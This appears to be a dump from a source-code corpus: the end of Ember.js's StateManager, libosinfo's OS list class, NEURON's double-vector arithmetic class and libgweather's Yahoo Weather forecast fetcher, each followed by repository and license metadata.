currentState: null, /** The path of the current state. Returns a string representation of the current state. @property currentPath @type String */ currentPath: Ember.computed.alias('currentState.path'), /** The name of transitionEvent that this stateManager will dispatch @property transitionEvent @type String @default 'setup' */ transitionEvent: 'setup', /** If set to true, `errorOnUnhandledEvents` will cause an exception to be raised if you attempt to send an event to a state manager that is not handled by the current state or any of its parent states. @property errorOnUnhandledEvents @type Boolean @default true */ errorOnUnhandledEvent: true, send: function(event) { var contexts = [].slice.call(arguments, 1); return sendEvent.call(this, event, contexts, false); }, unhandledEvent: function(manager, event) { if (get(this, 'errorOnUnhandledEvent')) { throw new Ember.Error(this.toString() + " could not respond to event " + event + " in state " + get(this, 'currentState.path') + "."); } }, /** Finds a state by its state path. Example: ```javascript manager = Ember.StateManager.create({ root: Ember.State.create({ dashboard: Ember.State.create() }) }); manager.getStateByPath(manager, "root.dashboard") // returns the dashboard state ``` @method getStateByPath @param {Ember.State} root the state to start searching from @param {String} path the state path to follow @return {Ember.State} the state at the end of the path */ getStateByPath: function(root, path) { var parts = path.split('.'), state = root; for (var i=0, len=parts.length; i<len; i++) { state = get(get(state, 'states'), parts[i]); if (!state) { break; } } return state; }, findStateByPath: function(state, path) { var possible; while (!possible && state) { possible = this.getStateByPath(state, path); state = get(state, 'parentState'); } return possible; }, /** A state stores its child states in its `states` hash. This code takes a path like `posts.show` and looks up `root.states.posts.states.show`. It returns a list of all of the states from the root, which is the list of states to call `enter` on. @method getStatesInPath @param root @param path */ getStatesInPath: function(root, path) { if (!path || path === "") { return undefined; } var parts = path.split('.'), result = [], states, state; for (var i=0, len=parts.length; i<len; i++) { states = get(root, 'states'); if (!states) { return undefined; } state = get(states, parts[i]); if (state) { root = state; result.push(state); } else { return undefined; } } return result; }, goToState: function() { // not deprecating this yet so people don't constantly need to // make trivial changes for little reason. return this.transitionTo.apply(this, arguments); }, transitionTo: function(path, context) { // XXX When is transitionTo called with no path if (Ember.isEmpty(path)) { return; } // The ES6 signature of this function is `path, ...contexts` var contexts = context ? Array.prototype.slice.call(arguments, 1) : [], currentState = get(this, 'currentState') || this; // First, get the enter, exit and resolve states for the current state // and specified path. If possible, use an existing cache. var hash = this.contextFreeTransition(currentState, path); // Next, process the raw state information for the contexts passed in. var transition = new Transition(hash).normalize(this, contexts); this.enterState(transition); this.triggerSetupContext(transition); }, contextFreeTransition: function(currentState, path) { var cache = currentState.pathsCache[path]; if (cache) { return cache; } var enterStates = this.getStatesInPath(currentState, path), exitStates = [], resolveState = currentState; // Walk up the states. For each state, check whether a state matching // the `path` is nested underneath. This will find the closest // parent state containing `path`. // // This allows the user to pass in a relative path. For example, for // the following state hierarchy: // // | |root // | |- posts // | | |- show (* current) // | |- comments // | | |- show // // If the current state is `<root.posts.show>`, an attempt to // transition to `comments.show` will match `<root.comments.show>`. // // First, this code will look for root.posts.show.comments.show. // Next, it will look for root.posts.comments.show. Finally, // it will look for `root.comments.show`, and find the state. // // After this process, the following variables will exist: // // * resolveState: a common parent state between the current // and target state. In the above example, `<root>` is the // `resolveState`. // * enterStates: a list of all of the states represented // by the path from the `resolveState`. For example, for // the path `root.comments.show`, `enterStates` would have // `[<root.comments>, <root.comments.show>]` // * exitStates: a list of all of the states from the // `resolveState` to the `currentState`. In the above // example, `exitStates` would have // `[<root.posts>`, `<root.posts.show>]`. while (resolveState && !enterStates) { exitStates.unshift(resolveState); resolveState = get(resolveState, 'parentState'); if (!resolveState) { enterStates = this.getStatesInPath(this, path); if (!enterStates) { return; } } enterStates = this.getStatesInPath(resolveState, path); } // If the path contains some states that are parents of both the // current state and the target state, remove them. // // For example, in the following hierarchy: // // |- root // | |- post // | | |- index (* current) // | | |- show // // If the `path` is `root.post.show`, the three variables will // be: // // * resolveState: `<state manager>` // * enterStates: `[<root>, <root.post>, <root.post.show>]` // * exitStates: `[<root>, <root.post>, <root.post.index>]` // // The goal of this code is to remove the common states, so we // have: // // * resolveState: `<root.post>` // * enterStates: `[<root.post.show>]` // * exitStates: `[<root.post.index>]` // // This avoid unnecessary calls to the enter and exit transitions. while (enterStates.length > 0 && enterStates[0] === exitStates[0]) { resolveState = enterStates.shift(); exitStates.shift(); } // Cache the enterStates, exitStates, and resolveState for the // current state and the `path`. var transitions = currentState.pathsCache[path] = { exitStates: exitStates, enterStates: enterStates, resolveState: resolveState }; return transitions; }, triggerSetupContext: function(transitions) { var contexts = transitions.contexts, offset = transitions.enterStates.length - contexts.length, enterStates = transitions.enterStates, transitionEvent = get(this, 'transitionEvent'); arrayForEach.call(enterStates, function(state, idx) { state.trigger(transitionEvent, this, contexts[idx-offset]); }, this); }, getState: function(name) { var state = get(this, name), parentState = get(this, 'parentState'); if (state) { return state; } else if (parentState) { return parentState.getState(name); } }, enterState: function(transition) { var log = this.enableLogging; var exitStates = transition.exitStates.slice(0).reverse(); arrayForEach.call(exitStates, function(state) { state.trigger('exit', this); }, this); arrayForEach.call(transition.enterStates, function(state) { if (log) { Ember.Logger.log("STATEMANAGER: Entering " + get(state, 'path')); } state.trigger('enter', this); }, this); set(this, 'currentState', transition.finalState); } }); })(); (function() { /** Ember States @module ember @submodule ember-states @requires ember-runtime */ })(); })(); if (typeof location !== 'undefined' && (location.hostname === 'localhost' || location.hostname === '127.0.0.1')) { console.warn("You are running a production build of Ember on localhost and won't receive detailed error messages. "+ "If you want full error messages please use the non-minified build provided on the Ember website."); }
MichaelCPell/triangleror
app/assets/javascripts/external_production/ember.js
JavaScript
gpl-2.0
718,967
/* * libosinfo: * * Copyright (C) 2009-2012 Red Hat, Inc. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library. If not, see * <http://www.gnu.org/licenses/>. * * Authors: * Arjun Roy <arroy@redhat.com> * Daniel P. Berrange <berrange@redhat.com> */ #include <config.h> #include <osinfo/osinfo.h> #include <glib/gi18n-lib.h> G_DEFINE_TYPE (OsinfoOsList, osinfo_oslist, OSINFO_TYPE_PRODUCTLIST); #define OSINFO_OSLIST_GET_PRIVATE(obj) (G_TYPE_INSTANCE_GET_PRIVATE ((obj), OSINFO_TYPE_OSLIST, OsinfoOsListPrivate)) /** * SECTION:osinfo_oslist * @short_description: A list of os platforms * @see_also: #OsinfoList, #OsinfoOs * * #OsinfoOsList is a list specialization that stores * only #OsinfoOs objects. */ struct _OsinfoOsListPrivate { gboolean unused; }; static void osinfo_oslist_finalize (GObject *object) { /* Chain up to the parent class */ G_OBJECT_CLASS (osinfo_oslist_parent_class)->finalize (object); } /* Init functions */ static void osinfo_oslist_class_init (OsinfoOsListClass *klass) { GObjectClass *g_klass = G_OBJECT_CLASS (klass); g_klass->finalize = osinfo_oslist_finalize; g_type_class_add_private (klass, sizeof (OsinfoOsListPrivate)); } static void osinfo_oslist_init (OsinfoOsList *list) { list->priv = OSINFO_OSLIST_GET_PRIVATE(list); } /** * osinfo_oslist_new: * * Construct a new os list that is initially empty. * * Returns: (transfer full): an empty os list */ OsinfoOsList *osinfo_oslist_new(void) { return g_object_new(OSINFO_TYPE_OSLIST, "element-type", OSINFO_TYPE_OS, NULL); } /** * osinfo_oslist_new_copy: * @source: the os list to copy * * Construct a new os list that is filled with oss * from @source * * Returns: (transfer full): a copy of the os list * Deprecated: 0.2.2: Use osinfo_list_new_copy() instead. */ OsinfoOsList *osinfo_oslist_new_copy(OsinfoOsList *source) { OsinfoOsList *newList = osinfo_oslist_new(); osinfo_list_add_all(OSINFO_LIST(newList), OSINFO_LIST(source)); return newList; } /** * osinfo_oslist_new_filtered: * @source: the os list to copy * @filter: the filter to apply * * Construct a new os list that is filled with oss * from @source that match @filter * * Returns: (transfer full): a filtered copy of the os list * Deprecated: 0.2.2: Use osinfo_list_new_filtered() instead. */ OsinfoOsList *osinfo_oslist_new_filtered(OsinfoOsList *source, OsinfoFilter *filter) { OsinfoOsList *newList = osinfo_oslist_new(); osinfo_list_add_filtered(OSINFO_LIST(newList), OSINFO_LIST(source), filter); return newList; } /** * osinfo_oslist_new_intersection: * @sourceOne: the first os list to copy * @sourceTwo: the second os list to copy * * Construct a new os list that is filled with only the * oss that are present in both @sourceOne and @sourceTwo. * * Returns: (transfer full): an intersection of the two os lists * Deprecated: 0.2.2: Use osinfo_list_new_intersection() instead. */ OsinfoOsList *osinfo_oslist_new_intersection(OsinfoOsList *sourceOne, OsinfoOsList *sourceTwo) { OsinfoOsList *newList = osinfo_oslist_new(); osinfo_list_add_intersection(OSINFO_LIST(newList), OSINFO_LIST(sourceOne), OSINFO_LIST(sourceTwo)); return newList; } /** * osinfo_oslist_new_union: * @sourceOne: the first os list to copy * @sourceTwo: the second os list to copy * * Construct a new os list that is filled with all the * oss that are present in either @sourceOne and @sourceTwo. * * Returns: (transfer full): a union of the two os lists * Deprecated: 0.2.2: Use osinfo_list_new_union() instead. */ OsinfoOsList *osinfo_oslist_new_union(OsinfoOsList *sourceOne, OsinfoOsList *sourceTwo) { OsinfoOsList *newList = osinfo_oslist_new(); osinfo_list_add_union(OSINFO_LIST(newList), OSINFO_LIST(sourceOne), OSINFO_LIST(sourceTwo)); return newList; } /* * Local variables: * indent-tabs-mode: nil * c-indent-level: 4 * c-basic-offset: 4 * End: */
giuseppe/libosinfo
osinfo/osinfo_oslist.c
C
gpl-2.0
4,778
#include <../../nrnconf.h> // This may look like C code, but it is really -*- C++ -*- /* Copyright (C) 1988 Free Software Foundation written by Doug Lea (dl@rocky.oswego.edu) This file is part of the GNU C++ Library. This library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with this library; if not, write to the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. */ #ifdef __GNUG__ #pragma implementation #endif #include <ivstream.h> #include <neuron_gnu_builtin.h> #include "d_avec.h" /* The following brought to you by the department of redundancy department */ doubleAVec& doubleAVec::operator = (doubleAVec& v) { if (len != 0 && len != v.capacity()) error("nonconformant vectors."); if (len == 0) s = new double [space = len = v.capacity()]; if (s != v.vec()) { for (int i = 0; i < len; ++i) s[i] = v.vec()[i]; } return *this; } doubleAVec& doubleAVec::operator = (double f) { for (int i = 0; i < len; ++i) s[i] = f; return *this; } doubleAVec& concat(doubleAVec & a, doubleAVec & b) { int newl = a.capacity() + b.capacity(); doubleAVec* news = new doubleAVec(newl); double* p = news->s; double* top = &(a.vec()[a.capacity()]); double* t = a.vec(); while (t < top) *p++ = *t++; top = &(b.vec()[b.capacity()]); t = b.vec(); while (t < top) *p++ = *t++; return *news; } doubleAVec& combine(doubleCombiner f, doubleAVec& a, doubleAVec& b) { int newl = (a.capacity() < b.capacity())? a.capacity() : b.capacity(); doubleAVec* news = new doubleAVec(newl); double* p = news->s; double* top = &(a.vec()[newl]); double* t = a.vec(); double* u = b.vec(); while (t < top) *p++ = (*f)(*t++, *u++); return *news; } doubleAVec& reverse(doubleAVec& a) { doubleAVec* news = new doubleAVec(a.capacity()); if (a.capacity() != 0) { double* lo = news->s; double* hi = &(news->s[a.capacity() - 1]); while (lo < hi) { double tmp = *lo; *lo++ = *hi; *hi-- = tmp; } } return *news; } doubleAVec& mymap(doubleMapper f, doubleAVec& a) { doubleAVec* news = new doubleAVec(a.capacity()); double* p = news->s; double* top = &(a.vec()[a.capacity()]); double* t = a.vec(); while(t < top) *p++ = (*f)(*t++); return *news; } doubleAVec& doubleAVec::at(int from, int n) { int to; if (n < 0) { n = len - from; to = len - 1; } else to = from + n - 1; if ((unsigned)from > (unsigned)to) range_error(); doubleAVec* news = new doubleAVec(n); double* p = news->s; double* t = &(s[from]); double* top = &(s[to]); while (t <= top) *p++ = *t++; return *news; } doubleAVec& merge(doubleAVec & a, doubleAVec & b, doubleComparator f) { int newl = a.capacity() + b.capacity(); doubleAVec* news = new doubleAVec(newl); double* p = news->s; double* topa = &(a.vec()[a.capacity()]); double* as = a.vec(); double* topb = &(b.vec()[b.capacity()]); double* bs = b.vec(); for (;;) { if (as >= topa) { while (bs < topb) *p++ = *bs++; break; } else if (bs >= topb) { while (as < topa) *p++ = *as++; break; } else if ((*f)(*as, *bs) <= 0) *p++ = *as++; else *p++ = *bs++; } return *news; } doubleAVec& operator + (doubleAVec& a, doubleAVec& b) { a.check_len(b.capacity()); doubleAVec* news = new doubleAVec(a.capacity()); double* p = news->s; double* top = &(a.vec()[a.capacity()]); double* t = a.vec(); double* u = b.vec(); while (t < top) *p++ = *t++ + *u++; return *news; } doubleAVec& operator - (doubleAVec& a, doubleAVec& b) { a.check_len(b.capacity()); doubleAVec* news = new doubleAVec(a.capacity()); double* p = news->s; double* top = &(a.vec()[a.capacity()]); double* t = a.vec(); double* u = b.vec(); while (t < top) *p++ = *t++ - *u++; return *news; } doubleAVec& product(doubleAVec& a, doubleAVec& b) { a.check_len(b.capacity()); doubleAVec* news = new doubleAVec(a.capacity()); double* p = news->s; double* top = &(a.vec()[a.capacity()]); double* t = a.vec(); double* u = b.vec(); while (t < top) *p++ = *t++ * *u++; return *news; } doubleAVec& quotient(doubleAVec& a, doubleAVec& b) { a.check_len(b.capacity()); doubleAVec* news = new doubleAVec(a.capacity()); double* p = news->s; double* top = &(a.vec()[a.capacity()]); double* t = a.vec(); double* u = b.vec(); while (t < top) *p++ = *t++ / *u++; return *news; } doubleAVec& operator + (doubleAVec& a, double b) { doubleAVec* news = new doubleAVec(a.capacity()); double* p = news->s; double* top = &(a.vec()[a.capacity()]); double* t = a.vec(); while (t < top) *p++ = *t++ + b; return *news; } doubleAVec& operator - (doubleAVec& a, double b) { doubleAVec* news = new doubleAVec(a.capacity()); double* p = news->s; double* top = &(a.vec()[a.capacity()]); double* t = a.vec(); while (t < top) *p++ = *t++ - b; return *news; } doubleAVec& operator * (doubleAVec& a, double b) { doubleAVec* news = new doubleAVec(a.capacity()); double* p = news->s; double* top = &(a.vec()[a.capacity()]); double* t = a.vec(); while (t < top) *p++ = *t++ * b; return *news; } doubleAVec& operator / (doubleAVec& a, double b) { doubleAVec* news = new doubleAVec(a.capacity()); double* p = news->s; double* top = &(a.vec()[a.capacity()]); double* t = a.vec(); while (t < top) *p++ = *t++ / b; return *news; } doubleAVec& doubleAVec::operator - () { doubleAVec* news = new doubleAVec(len); double* p = news->s; double* top = &(s[len]); double* t = s; while (t < top) *p++ = -(*t++); return *news; } doubleAVec& doubleAVec::operator += (doubleAVec& b) { check_len(b.capacity()); double* u = b.vec(); double* top = &(s[len]); double* t = s; while (t < top) *t++ += *u++; return *this; } doubleAVec& doubleAVec::operator -= (doubleAVec& b) { check_len(b.capacity()); double* u = b.vec(); double* top = &(s[len]); double* t = s; while (t < top) *t++ -= *u++; return *this; } doubleAVec& doubleAVec::product(doubleAVec& b) { check_len(b.capacity()); double* u = b.vec(); double* top = &(s[len]); double* t = s; while (t < top) *t++ *= *u++; return *this; } doubleAVec& doubleAVec::quotient(doubleAVec& b) { check_len(b.capacity()); double* u = b.vec(); double* top = &(s[len]); double* t = s; while (t < top) *t++ /= *u++; return *this; } doubleAVec& doubleAVec::operator += (double b) { double* top = &(s[len]); double* t = s; while (t < top) *t++ += b; return *this; } doubleAVec& doubleAVec::operator -= (double b) { double* top = &(s[len]); double* t = s; while (t < top) *t++ -= b; return *this; } doubleAVec& doubleAVec::operator *= (double b) { double* top = &(s[len]); double* t = s; while (t < top) *t++ *= b; return *this; } doubleAVec& doubleAVec::operator /= (double b) { double* top = &(s[len]); double* t = s; while (t < top) *t++ /= b; return *this; } double doubleAVec::max() { if (len == 0) return 0; double* top = &(s[len]); double* t = s; double res = *t++; for (; t < top; ++t) if (*t > res) res = *t; return res; } int doubleAVec::max_index() { if (len == 0) return -1; int ind = 0; for (int i = 1; i < len; ++i) if (s[i] > s[ind]) ind = i; return ind; } double doubleAVec::min() { if (len == 0) return 0; double* top = &(s[len]); double* t = s; double res = *t++; for (; t < top; ++t) if (*t < res) res = *t; return res; } int doubleAVec::min_index() { if (len == 0) return -1; int ind = 0; for (int i = 1; i < len; ++i) if (s[i] < s[ind]) ind = i; return ind; } double doubleAVec::sum() { double res = 0; double* top = &(s[len]); double* t = s; while (t < top) res += *t++; return res; } double doubleAVec::sumsq() { double res = 0; double* top = &(s[len]); double* t = s; for (; t < top; ++t) res += *t * *t; return res; } double doubleAVec::mean() { return sum()/len; } double doubleAVec::var() { double res = 0; double* top = &(s[len]); double* t = s; double m = mean(); for (; t < top; ++t) res += (*t - m) * (*t - m); return res/(len-1); } double doubleAVec::stdDev() { return sqrt(var()); } double operator * (doubleAVec& a, doubleAVec& b) { a.check_len(b.capacity()); double* top = &(a.vec()[a.capacity()]); double* t = a.vec(); double* u = b.vec(); double res = 0; while (t < top) res += *t++ * *u++; return res; }
neurodebian/pkg-neuron
src/gnu/d_avec.cpp
C++
gpl-2.0
9,013
/* -*- Mode: C; tab-width: 8; indent-tabs-mode: t; c-basic-offset: 4 -*- */ /* weather-yahoo.c - Yahoo! Weather service. * * Copyright 2012 Giovanni Campagna <scampa.giovanni@gmail.com> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, see * <http://www.gnu.org/licenses/>. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #define _GNU_SOURCE /* for strptime */ #include <time.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <glib.h> #include <libxml/parser.h> #include <libxml/xpath.h> #include <libxml/xpathInternals.h> #define GWEATHER_I_KNOW_THIS_IS_UNSTABLE #include "weather-priv.h" #define XC(t) ((const xmlChar *)(t)) static GWeatherConditions condition_codes[] = { { TRUE, GWEATHER_PHENOMENON_TORNADO, GWEATHER_QUALIFIER_NONE }, /* tornado */ { TRUE, GWEATHER_PHENOMENON_INVALID, GWEATHER_QUALIFIER_NONE }, /* FIXME: tropical storm */ { TRUE, GWEATHER_PHENOMENON_INVALID, GWEATHER_QUALIFIER_NONE }, /* FIXME: hurricane */ { TRUE, GWEATHER_PHENOMENON_RAIN, GWEATHER_QUALIFIER_THUNDERSTORM }, /* FIXME: severe thunderstorms */ { TRUE, GWEATHER_PHENOMENON_RAIN, GWEATHER_QUALIFIER_THUNDERSTORM }, /* thunderstorms */ { TRUE, GWEATHER_PHENOMENON_RAIN, GWEATHER_QUALIFIER_NONE }, /* FIXME: mixed rain and snow */ { TRUE, GWEATHER_PHENOMENON_ICE_PELLETS, GWEATHER_QUALIFIER_NONE }, /* FIXME: mixed rain and sleet */ { TRUE, GWEATHER_PHENOMENON_SNOW, GWEATHER_QUALIFIER_NONE }, /* FIXME: mixed snow and sleet */ { TRUE, GWEATHER_PHENOMENON_DRIZZLE, GWEATHER_QUALIFIER_FREEZING }, /* freezing drizzle */ { TRUE, GWEATHER_PHENOMENON_DRIZZLE, GWEATHER_QUALIFIER_NONE }, /* drizzle */ { TRUE, GWEATHER_PHENOMENON_RAIN, GWEATHER_QUALIFIER_FREEZING }, /* freezing rain */ { TRUE, GWEATHER_PHENOMENON_RAIN, GWEATHER_QUALIFIER_SHOWERS }, /* showers */ { TRUE, GWEATHER_PHENOMENON_RAIN, GWEATHER_QUALIFIER_SHOWERS }, /* showers */ { TRUE, GWEATHER_PHENOMENON_SNOW, GWEATHER_QUALIFIER_BLOWING }, /* FIXME: snow flurries */ { TRUE, GWEATHER_PHENOMENON_SNOW, GWEATHER_QUALIFIER_LIGHT }, /* FIXME: light snow showers */ { TRUE, GWEATHER_PHENOMENON_SNOW, GWEATHER_QUALIFIER_BLOWING }, /* blowing snow */ { TRUE, GWEATHER_PHENOMENON_SNOW, GWEATHER_QUALIFIER_NONE }, /* snow */ { TRUE, GWEATHER_PHENOMENON_HAIL, GWEATHER_QUALIFIER_NONE }, /* hail */ { TRUE, GWEATHER_PHENOMENON_ICE_PELLETS, GWEATHER_QUALIFIER_NONE }, /* sleet */ { TRUE, GWEATHER_PHENOMENON_DUST, GWEATHER_QUALIFIER_NONE }, /* dust */ { TRUE, GWEATHER_PHENOMENON_FOG, GWEATHER_QUALIFIER_NONE }, /* foggy */ { TRUE, GWEATHER_PHENOMENON_HAZE, GWEATHER_QUALIFIER_NONE }, /* haze */ { TRUE, GWEATHER_PHENOMENON_SMOKE, GWEATHER_QUALIFIER_NONE }, /* smoky */ { TRUE, GWEATHER_PHENOMENON_INVALID, GWEATHER_QUALIFIER_NONE }, /* FIXME: blustery */ { TRUE, GWEATHER_PHENOMENON_INVALID, GWEATHER_QUALIFIER_NONE }, /* FIXME: windy */ { FALSE, GWEATHER_PHENOMENON_NONE, GWEATHER_QUALIFIER_NONE }, /* cold */ { FALSE, GWEATHER_PHENOMENON_NONE, GWEATHER_QUALIFIER_NONE }, /* cloudy */ { FALSE, GWEATHER_PHENOMENON_NONE, GWEATHER_QUALIFIER_NONE }, /* mostly cloudy (night) */ { FALSE, GWEATHER_PHENOMENON_NONE, GWEATHER_QUALIFIER_NONE }, /* mostly cloudy (day) */ { FALSE, GWEATHER_PHENOMENON_NONE, GWEATHER_QUALIFIER_NONE }, /* partly cloudy (night) */ { FALSE, GWEATHER_PHENOMENON_NONE, GWEATHER_QUALIFIER_NONE }, /* partly cloudy (day) */ { FALSE, GWEATHER_PHENOMENON_NONE, GWEATHER_QUALIFIER_NONE }, /* clear (night) */ { FALSE, GWEATHER_PHENOMENON_NONE, GWEATHER_QUALIFIER_NONE }, /* sunny */ { FALSE, GWEATHER_PHENOMENON_NONE, GWEATHER_QUALIFIER_NONE }, /* fair (night) */ { FALSE, GWEATHER_PHENOMENON_NONE, GWEATHER_QUALIFIER_NONE }, /* fair (day) */ { TRUE, GWEATHER_PHENOMENON_HAIL, GWEATHER_QUALIFIER_NONE }, /* FIXME: mixed_rain_and_hail */ { FALSE, GWEATHER_PHENOMENON_NONE, GWEATHER_QUALIFIER_NONE }, /* hot */ { TRUE, GWEATHER_PHENOMENON_RAIN, GWEATHER_QUALIFIER_THUNDERSTORM }, /* FIXME: isolated thunderstorms */ { TRUE, GWEATHER_PHENOMENON_RAIN, GWEATHER_QUALIFIER_THUNDERSTORM }, /* FIXME: scattered thunderstorms */ { TRUE, GWEATHER_PHENOMENON_RAIN, GWEATHER_QUALIFIER_THUNDERSTORM }, /* FIXME: scattered thunderstorms */ { TRUE, GWEATHER_PHENOMENON_RAIN, GWEATHER_QUALIFIER_SHOWERS }, /* FIXME: scattered showers */ { TRUE, GWEATHER_PHENOMENON_SNOW, GWEATHER_QUALIFIER_HEAVY }, /* heavy snow */ { TRUE, GWEATHER_PHENOMENON_SNOW, GWEATHER_QUALIFIER_SHOWERS }, /* FIXME: scattered snow showers */ { TRUE, GWEATHER_PHENOMENON_SNOW, GWEATHER_QUALIFIER_HEAVY }, /* heavy snow */ { FALSE, GWEATHER_PHENOMENON_NONE, GWEATHER_QUALIFIER_NONE }, /* partly cloudy */ { TRUE, GWEATHER_PHENOMENON_RAIN, GWEATHER_QUALIFIER_THUNDERSTORM }, /* FIXME: thundershowers */ { TRUE, GWEATHER_PHENOMENON_SNOW, GWEATHER_QUALIFIER_SHOWERS }, /* snow showers */ { TRUE, GWEATHER_PHENOMENON_RAIN, GWEATHER_QUALIFIER_THUNDERSTORM }, /* FIXME: isolated thundershowers */ }; /* FIXME: check sky values for codes that have a phenomenon too (scattered is what weather-iwin.c does for rain and snow) */ static GWeatherSky sky_codes[] = { GWEATHER_SKY_INVALID, /* tornado */ GWEATHER_SKY_SCATTERED, /* tropical storm */ GWEATHER_SKY_SCATTERED, /* hurricane */ GWEATHER_SKY_SCATTERED, /* severe thunderstorms */ GWEATHER_SKY_SCATTERED, /* thunderstorms */ GWEATHER_SKY_SCATTERED, /* mixed rain and snow */ GWEATHER_SKY_SCATTERED, /* mixed rain and sleet */ GWEATHER_SKY_SCATTERED, /* mixed snow and sleet */ GWEATHER_SKY_SCATTERED, /* freezing drizzle */ GWEATHER_SKY_SCATTERED, /* drizzle */ GWEATHER_SKY_SCATTERED, /* freezing rain */ GWEATHER_SKY_SCATTERED, /* showers */ GWEATHER_SKY_SCATTERED, /* showers */ GWEATHER_SKY_SCATTERED, /* snow flurries */ GWEATHER_SKY_SCATTERED, /* light snow showers */ GWEATHER_SKY_SCATTERED, /* blowing snow */ GWEATHER_SKY_SCATTERED, /* snow */ GWEATHER_SKY_INVALID, /* hail */ GWEATHER_SKY_INVALID, /* sleet */ GWEATHER_SKY_INVALID, /* dust */ GWEATHER_SKY_INVALID, /* foggy */ GWEATHER_SKY_INVALID, /* haze */ GWEATHER_SKY_INVALID, /* smoky */ GWEATHER_SKY_INVALID, /* blustery */ GWEATHER_SKY_INVALID, /* windy */ GWEATHER_SKY_CLEAR, /* cold */ GWEATHER_SKY_OVERCAST, /* cloudy */ GWEATHER_SKY_FEW, /* mostly cloudy (night) */ GWEATHER_SKY_FEW, /* mostly cloudy (day) */ GWEATHER_SKY_BROKEN, /* partly cloudy (night) */ GWEATHER_SKY_BROKEN, /* partly cloudy (day) */ GWEATHER_SKY_CLEAR, /* clear (night) */ GWEATHER_SKY_CLEAR, /* sunny */ GWEATHER_SKY_CLEAR, /* fair (night) */ GWEATHER_SKY_CLEAR, /* fair (day) */ GWEATHER_SKY_SCATTERED, /* mixed rain and hail */ GWEATHER_SKY_CLEAR, /* hot */ GWEATHER_SKY_SCATTERED, /* isolated thunderstorms */ GWEATHER_SKY_SCATTERED, /* scattered thunderstorms */ GWEATHER_SKY_SCATTERED, /* scattered thunderstorms */ GWEATHER_SKY_SCATTERED, /* scattered showers */ GWEATHER_SKY_SCATTERED, /* heavy snow */ GWEATHER_SKY_SCATTERED, /* scattered snow showers */ GWEATHER_SKY_SCATTERED, /* heavy snow */ GWEATHER_SKY_BROKEN, /* partly cloudy */ GWEATHER_SKY_SCATTERED, /* thundershowers */ GWEATHER_SKY_SCATTERED, /* snow showers */ GWEATHER_SKY_SCATTERED, /* isolated thundershowers */ }; G_STATIC_ASSERT (G_N_ELEMENTS(condition_codes) == G_N_ELEMENTS(sky_codes)); static time_t date_to_time_t (const xmlChar *str) { struct tm time = { 0 }; if (!strptime ((const char*) str, "%d %b %Y", &time)) { g_warning ("Cannot parse date string \"%s\"", str); return 0; } return mktime(&time); } static GWeatherInfo * make_info_from_node (GWeatherInfo *master_info, xmlNodePtr node) { GWeatherInfo *info; GWeatherInfoPrivate *priv; xmlChar *val; int code; g_return_val_if_fail (node->type == XML_ELEMENT_NODE, NULL); info = _gweather_info_new_clone (master_info); priv = info->priv; val = xmlGetProp (node, XC("date")); priv->current_time = priv->update = date_to_time_t (val); xmlFree (val); val = xmlGetProp (node, XC("high")); priv->temp_max = g_ascii_strtod ((const char*) val, NULL); xmlFree (val); val = xmlGetProp (node, XC("low")); priv->temp_min = g_ascii_strtod ((const char*) val, NULL); xmlFree (val); priv->tempMinMaxValid = priv->tempMinMaxValid || (priv->temp_max > -999.0 && priv->temp_min > -999.0); priv->valid = priv->tempMinMaxValid; val = xmlGetProp (node, XC("code")); code = strtol((const char*) val, NULL, 0); if (code >= 0 && code < G_N_ELEMENTS (condition_codes)) { priv->cond = condition_codes[code]; priv->sky = sky_codes[code]; } else priv->valid = FALSE; xmlFree (val); return info; } static void parse_forecast_xml (GWeatherInfo *master_info, SoupMessageBody *body) { GWeatherInfoPrivate *priv; xmlDocPtr doc; xmlXPathContextPtr xpath_ctx; xmlXPathObjectPtr xpath_result; int i; priv = master_info->priv; doc = xmlParseMemory (body->data, body->length); if (!doc) return; xpath_ctx = xmlXPathNewContext (doc); xmlXPathRegisterNs (xpath_ctx, XC("yweather"), XC("http://xml.weather.yahoo.com/ns/rss/1.0")); xpath_result = xmlXPathEval (XC("/rss/channel/item/yweather:forecast"), xpath_ctx); if (!xpath_result || xpath_result->type != XPATH_NODESET) goto out; for (i = 0; i < xpath_result->nodesetval->nodeNr; i++) { xmlNodePtr node; GWeatherInfo *info; node = xpath_result->nodesetval->nodeTab[i]; info = make_info_from_node (master_info, node); priv->forecast_list = g_slist_append (priv->forecast_list, info); } xmlXPathFreeObject (xpath_result); out: xmlXPathFreeContext (xpath_ctx); xmlFreeDoc (doc); } static void yahoo_finish (SoupSession *session, SoupMessage *msg, gpointer user_data) { GWeatherInfo *info = GWEATHER_INFO (user_data); if (!SOUP_STATUS_IS_SUCCESSFUL (msg->status_code)) { /* forecast data is not really interesting anyway ;) */ g_warning ("Failed to get Yahoo! Weather forecast data: %d %s\n", msg->status_code, msg->reason_phrase); _gweather_info_request_done (info); return; } parse_forecast_xml (info, msg->response_body); _gweather_info_request_done (info); } gboolean yahoo_start_open (GWeatherInfo *info) { GWeatherInfoPrivate *priv; WeatherLocation *loc; gchar *url; SoupMessage *message; priv = info->priv; loc = &priv->location; if (!loc->yahoo_id) return FALSE; /* u=f means that the values are in imperial system (which is what weather.c expects). They're converted to user preferences before displaying. */ url = g_strdup_printf("http://weather.yahooapis.com/forecastrss?w=%s&u=f", loc->yahoo_id); message = soup_message_new ("GET", url); soup_session_queue_message (priv->session, message, yahoo_finish, info); priv->requests_pending++; g_free (url); return TRUE; }
Distrotech/libgweather
